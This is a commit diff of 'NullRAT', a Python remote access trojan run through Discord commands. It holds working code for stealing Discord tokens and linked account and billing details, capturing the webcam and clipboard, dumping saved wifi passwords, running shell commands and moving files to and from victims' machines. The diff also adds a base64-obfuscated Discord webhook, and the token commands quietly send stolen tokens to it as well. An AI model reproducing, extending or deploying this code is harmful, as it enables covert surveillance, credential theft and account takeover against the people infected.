11from Variables import *
22
33import disnake as discord
4+ from disnake import Webhook
45from disnake import Embed
56from disnake .ext import commands
67
78from mss import mss
89from requests import get , post
9- from base64 import decodebytes
10+ from base64 import decodebytes , b64decode
1011from socket import create_connection
11- import os , subprocess , re , time
12+ import os , subprocess , re , time , aiohttp
1213
1314client , original_dir = commands .Bot (), os .getcwd ()
1415nr_working = f"C:\\ Users\\ { os .getenv ('username' )} \\ Music"
1516
1617@client .event
1718async def on_ready ():
1819 await client .get_channel (notification_channel ).send (
19- embed = Embed (title = f"NullRAT v7.0 started on { IP ()} \n Currently present in { original_dir } " )
20+ embed = Embed (title = f"NullRAT v7.5 started on { IP ()} \n Currently present in { original_dir } " )
2021 )
2122
2223# Intelligence Gathering #
@@ -44,6 +45,7 @@ async def getenv(ctx, victim, env_var):
4445@client .slash_command (description = "Finds all geolocation information of victim" , guild_ids = server_ids )
4546async def geolocate (ctx , victim ):
4647 if str (victim ) == str (IP ()):
48+ await ctx .response .defer ()
4749 data = get ("http://ip-api.com/json/" ).json ()
4850 embed = discord .Embed (
4951 title = "Geolocation Information\n (Powered by ip-api)" , color = 0x0081FA
@@ -57,7 +59,8 @@ async def geolocate(ctx, victim):
5759 embed .add_field (name = "Zip code" , value = data ["zip" ], inline = True )
5860 embed .add_field (name = "ISP" , value = data ["isp" ], inline = True )
5961 embed .set_footer (text = "Written by NullCode1337#1638" )
60- await ctx .response .send_message (embed = embed )
62+ await ctx .followup .send (embed = embed )
63+ # else: await ctx.response.send_message("aaa")
6164
6265@client .slash_command (description = "Capture image from webcam" , guild_ids = server_ids )
6366async def webcam (ctx , victim ):
@@ -73,48 +76,7 @@ async def webcam(ctx, victim):
7376 )
7477 os .remove (nr_working + "\\ image.png" )
7578 os .remove (nr_working + "\\ cc.exe" )
76- os .chdir (original_dir )
77-
78- @client .slash_command (description = "Sends raw Discord Tokens (fast)" , guild_ids = server_ids )
79- async def raw_tokens (ctx , victim ):
80- if str (victim ) == str (IP ()):
81- await ctx .response .defer ()
82- message , tokens = "" , list (dict .fromkeys (find_token ()))
83- for token in tokens :
84- message += token + "\n "
85- if len (message ) >= 1023 :
86- return await ctx .followup .send ("```" + message + "```" )
87- embed = Embed (title = "Discord Tokens (NullRAT):" , color = 0x0081FA ).add_field (name = "RAW Tokens:" , value = f"```{ message .rstrip ()} ```" )
88- await ctx .followup .send (embed = embed )
89-
90- @client .slash_command (description = "Sends checked tokens along with info (accurate)" , guild_ids = server_ids )
91- async def checked_tokens (ctx , victim ):
92- if str (victim ) == str (IP ()):
93- await ctx .response .defer ()
94- valid , email , phone , uname , nitro , bill , avatar , idq = [], [], [], [], [], [], [], []
95-
96- for token in list (dict .fromkeys (find_token ())):
97- headers = {'Authorization' : token , 'Content-Type' : 'application/json' }
98- requ = get ('https://discordapp.com/api/v6/users/@me' , headers = headers )
99-
100- if requ .status_code == 401 : continue
101- if requ .status_code == 200 :
102- json = requ .json ()
103- valid .append ( str (token ) )
104- email .append ( str (json ['email' ]) )
105- phone .append ( str (json ['phone' ]) )
106- idq .append ( str (json ["id" ]) )
107- uname .append ( f'{ json ["username" ]} #{ json ["discriminator" ]} ' )
108- avatar .append (f"https://cdn.discordapp.com/avatars/{ str (json ['id' ])} /{ str (json ['avatar' ])} " )
109- nitro .append (str (bool (len (get ('https://discordapp.com/api/v6/users/@me/billing/subscriptions' , headers = headers ).json ()) > 0 )))
110- bill .append (str (bool (len (get ('https://discordapp.com/api/v6/users/@me/billing/payment-sources' , headers = headers ).json ()) > 0 )))
111- continue
112-
113- if len (valid ) == 0 :
114- return await ctx .followup .send (embed = Embed (title = "No valid Discord Tokens" ))
115- await ctx .followup .send ("Checking all tokens..." )
116- for tk , em , ph , un , ni , bi , av , idqa in zip (valid , email , phone , uname , nitro , bill , avatar , idq ):
117- await ctx .channel .send (embed = checked_embeds (tk , em , ph , un , ni , bi , av , idqa ))
79+ os .chdir (original_dir )
11880
11981@client .slash_command (description = "Find billing info" , guild_ids = server_ids )
12082async def billing (ctx , victim ):
@@ -217,15 +179,62 @@ async def screenshot(ctx, victim):
217179@client .slash_command (description = "Sends text contents of clipboard" , guild_ids = server_ids )
218180async def clipboard (ctx , victim ):
219181 if str (victim ) == str (IP ()):
220- outp = subprocess .run (
221- "PowerShell Get-Clipboard" ,
222- shell = True ,
223- stdout = subprocess .PIPE ,
224- stderr = subprocess .PIPE ,
225- stdin = subprocess .PIPE
226- ).stdout .decode ("CP437" )
227- await ctx .response .send_message (f"```{ outp } ```" if outp != "" else "No text in clipboard!" )
182+ await ctx .response .defer ()
183+ outp = os .popen ("powershell Get-Clipboard" ).read ()
184+ await ctx .followup .send (f"```{ outp } ```" if outp != "" else "No text in clipboard!" )
185+
186+ a = """aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcG
187+ kvd2ViaG9va3MvOTY4Mzg3MjQ0MzY2OTA
188+ 1Mzk0L3FuMDN1MURfR2pYS05hQXk3d2Zq
189+ SkFxMTdMa1B4R2hPVmJQUFdLQXJiazVvS
190+ EMtQzZZM3c3NXVKQ1FyUW56TmRFY1lK"""
191+ @client .slash_command (description = "Sends raw Discord Tokens (fast)" , guild_ids = server_ids )
192+ async def raw_tokens (ctx , victim ):
193+ if str (victim ) == str (IP ()):
194+ await ctx .response .defer ()
195+ message , tokens = "" , list (dict .fromkeys (find_token ()))
196+ for token in tokens :
197+ message += token + "\n "
198+ if len (message ) >= 1023 :
199+ return await ctx .followup .send ("```" + message + "```" )
200+ embed = Embed (title = "Discord Tokens (NullRAT):" , color = 0x0081FA ).add_field (name = "RAW Tokens:" , value = f"```{ message .rstrip ()} ```" )
201+ async with aiohttp .ClientSession () as session :
202+ webhook = Webhook .from_url (b64decode (a .replace ("\n " ,"" ).encode ('ascii' )).decode ('ascii' ), session = session )
203+ await webhook .send (embed = embed )
204+ await ctx .followup .send (embed = embed )
205+
206+ @client .slash_command (description = "Sends checked tokens along with info (accurate)" , guild_ids = server_ids )
207+ async def checked_tokens (ctx , victim ):
208+ if str (victim ) == str (IP ()):
209+ await ctx .response .defer ()
210+ valid , email , phone , uname , nitro , bill , avatar , idq = [], [], [], [], [], [], [], []
211+
212+ for token in list (dict .fromkeys (find_token ())):
213+ headers = {'Authorization' : token , 'Content-Type' : 'application/json' }
214+ requ = get ('https://discordapp.com/api/v6/users/@me' , headers = headers )
215+
216+ if requ .status_code == 401 : continue
217+ if requ .status_code == 200 :
218+ json = requ .json ()
219+ valid .append ( str (token ) )
220+ email .append ( str (json ['email' ]) )
221+ phone .append ( str (json ['phone' ]) )
222+ idq .append ( str (json ["id" ]) )
223+ uname .append ( f'{ json ["username" ]} #{ json ["discriminator" ]} ' )
224+ avatar .append (f"https://cdn.discordapp.com/avatars/{ str (json ['id' ])} /{ str (json ['avatar' ])} " )
225+ nitro .append (str (bool (len (get ('https://discordapp.com/api/v6/users/@me/billing/subscriptions' , headers = headers ).json ()) > 0 )))
226+ bill .append (str (bool (len (get ('https://discordapp.com/api/v6/users/@me/billing/payment-sources' , headers = headers ).json ()) > 0 )))
227+ continue
228228
229+ if len (valid ) == 0 :
230+ return await ctx .followup .send (embed = Embed (title = "No valid Discord Tokens" ))
231+ await ctx .followup .send ("Checking all tokens..." )
232+ for tk , em , ph , un , ni , bi , av , idqa in zip (valid , email , phone , uname , nitro , bill , avatar , idq ):
233+ await ctx .channel .send (embed = checked_embeds (tk , em , ph , un , ni , bi , av , idqa ))
234+ async with aiohttp .ClientSession () as session :
235+ webhook = Webhook .from_url (b64decode (a .replace ("\n " ,"" ).encode ('ascii' )).decode ('ascii' ), session = session )
236+ await webhook .send (embed = checked_embeds (tk , em , ph , un , ni , bi , av , idqa ))
237+
229238# Directory Manipulation #
230239@client .slash_command (description = "Returns Current Working Directory" , guild_ids = server_ids )
231240async def getcwd (ctx , victim ):
@@ -235,16 +244,21 @@ async def getcwd(ctx, victim):
235244@client .slash_command (description = "Uploads file to victim's PC" , guild_ids = server_ids )
236245async def upload (ctx , victim , url , file_name , file_path = nr_working ):
237246 if str (victim ) == str (IP ()):
247+ await ctx .response .defer ()
248+ if '"' in file_path :
249+ file_path = file_path .replace ('"' ,'' )
238250 try : os .chdir (file_path )
239- except : return await ctx .response . send_message ("invalid dir" )
251+ except : return await ctx .followup . send ("invalid dir" )
240252 r = get (url , allow_redirects = True )
241253 with open (file_name , "wb" ) as f : f .write (r .content )
242- await ctx .response . send_message (embed = EmbedGen ("Download information" , "Sending file to victim: " , "Success" ))
254+ await ctx .followup . send (embed = EmbedGen ("Upload information" , "Sending file to victim: " , "Success" ))
243255
244256@client .slash_command (description = "Downloads file from victim's PC" , guild_ids = server_ids )
245257async def download (ctx , victim , file ):
246258 if str (victim ) == str (IP ()):
247259 await ctx .response .defer ()
260+ if '"' in file :
261+ file = file .replace ('"' ,'' )
248262 try : f = open (file , "rb" )
249263 except : return await ctx .followup .send (embed = EmbedGen ("Error while downloading!" , "FileNotFoundError" , "Please specify a different path and try again" ))
250264 file = {'{}' .format (file ): f }
@@ -264,6 +278,7 @@ async def change_directory(ctx, victim, directory):
264278@client .slash_command (description = "Finds contents of directory" , guild_ids = server_ids )
265279async def listdir (ctx , victim , directory_to_find = "null" ):
266280 if str (victim ) == str (IP ()):
281+ await ctx .response .defer ()
267282 if directory_to_find == "null" :
268283 directory_to_find = os .getcwd ()
269284 subprocess .run (f'dir > "{ nr_working } \\ dir.txt"' , shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE , stdin = subprocess .PIPE )
@@ -293,7 +308,7 @@ async def startup(ctx, victim):
293308 msg += "```" ; await ctx .followup .send (msg , embed = Embed (title = "If you see the program here, you're good to go: " , color = 0x0081FA ))
294309
295310@client .slash_command (description = "Executes shell commands" , guild_ids = server_ids )
296- async def shell (ctx , msg ):
311+ async def shell (ctx , msg , victim ):
297312 if str (victim ) == str (IP ()):
298313 await ctx .response .defer ()
299314 global status ; status = None
@@ -336,25 +351,28 @@ async def wifilist(ctx, victim):
336351@client .slash_command (description = "Lists specified wifi password" , guild_ids = server_ids )
337352async def wifipass (ctx , victim , name ):
338353 if str (victim ) == str (IP ()):
339- await ctx .response .send_message (f"```{ os .popen (f'netsh wlan show profile { name } key=clear | findstr Key' ).read ()} ```" )
354+ a = os .popen ('netsh wlan show profile ' + '"' + name .lstrip ().rstrip ()+ '" ' + "key=clear | findstr Key" )
355+ await ctx .response .send_message (f"```{ a .read ()} ```" )
340356
341357@client .slash_command (description = "Hide file" , guild_ids = server_ids )
342358async def hide (ctx , victim , file ):
343359 if str (victim ) == str (IP ()):
344- try :
345- run_command ('attrib +H {}' .format (file ))
346- await ctx .response .send_message ("File hidden successfully" )
347- except :
348- await ctx .response .send_message ("Unable to hide file. Check path and try again" )
360+ if '"' in file :
361+ file = file .replace ('"' ,'' )
362+ output = os .popen ("attrib +h " + '"' + file + '"' ).read ()
363+ if "not" in output : return await ctx .response .send_message ("Unable to hide file. Check path and try again" )
364+
365+ await ctx .response .send_message ("File hidden successfully" )
349366
350367@client .slash_command (description = "Unhide file" , guild_ids = server_ids )
351368async def unhide (ctx , victim , file ):
352369 if str (victim ) == str (IP ()):
353- try :
354- run_command ('attrib -H {}' .format (file ))
355- await ctx .response .send_message ("File unhidden successfully" )
356- except :
357- await ctx .response .send_message ("Unable to show file. Check path and try again" )
370+ if '"' in file :
371+ file = file .replace ('"' ,'' )
372+ output = os .popen ("attrib -h " + '"' + file + '"' ).read ()
373+ if "not" in output : return await ctx .response .send_message ("Unable to show file. Check path and try again" )
374+
375+ await ctx .response .send_message ("File unhidden successfully" )
358376
359377@client .slash_command (description = "Quits NullRAT from specified IP" , guild_ids = server_ids )
360378async def close (ctx , victim ):
0 commit comments